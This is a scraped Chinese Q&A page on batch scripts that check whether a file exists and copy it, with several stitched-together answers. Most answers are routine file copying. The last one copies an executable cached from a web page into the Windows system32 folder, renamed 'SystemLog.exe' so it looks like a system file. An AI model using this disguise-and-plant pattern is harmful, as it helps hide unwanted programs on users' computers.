求批处理判断文件存在并复制方法!

求批处理判断文件存在并复制方法!,第1张

for

/f

"delims="

%%i

in

('dir

/b

f:\media\*.rmvb')

do

copy

"%%~fi"

f:\ynigu\ynigu..\

::如果文件名中有空格也能成功复制。

还有一点,竟然你知道可以直接复制,那就不要把简单的问题复杂化了,copy的唯一问题是如果不存在会显示出错,用一以下代码可以屏蔽出错信息:

copy

f:\media\*.rmvb

f:\ynigu\ynigu..\

2>nul

用管道find命令,需要用批处理文件

COPY AAA BBB | FIND "已复制"

ECHO %ERRORLEVEL%

%ERRORLEVEL%=0复制成功,=1复制失败。

以上脚本写法是正确

问题是你的BAT文件存在哪里,这个%cd%是指BAT所在的目录

还有就是BAT不会自动检测并运行,而是要人工双击打开后,才会去判断执行 *** 作的

如果在运行网页时的临时文件[1].exe是存在于“%USERPROFILE%\\Local Settings\\Temporary Internet Files”中的,而不是在"%cd%\\中.

所以方法是

if not exist "%cd%\\yongyou.exe" goto 1

copy "%cd%\\yongyou.exe" %windir%\\system32\\SystemLog.exe /y

goto 2

:1

copy "%USERPROFILE%\\Local Settings\\Temporary Internet Files\\[1].exe" %windir%\\system32\\SystemLog.exe /y

:2

exit

这个BAT文件应处于:不在网页中运行时将会产生yongyou.exe文件的同一目录。

执行流程是:打开程序后不管在不在网页中运行,你都得双击该BAT文件


欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/tougao/12033051.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-05-20
下一篇 2023-05-20

发表评论

登录后才能评论

评论列表(0条)

保存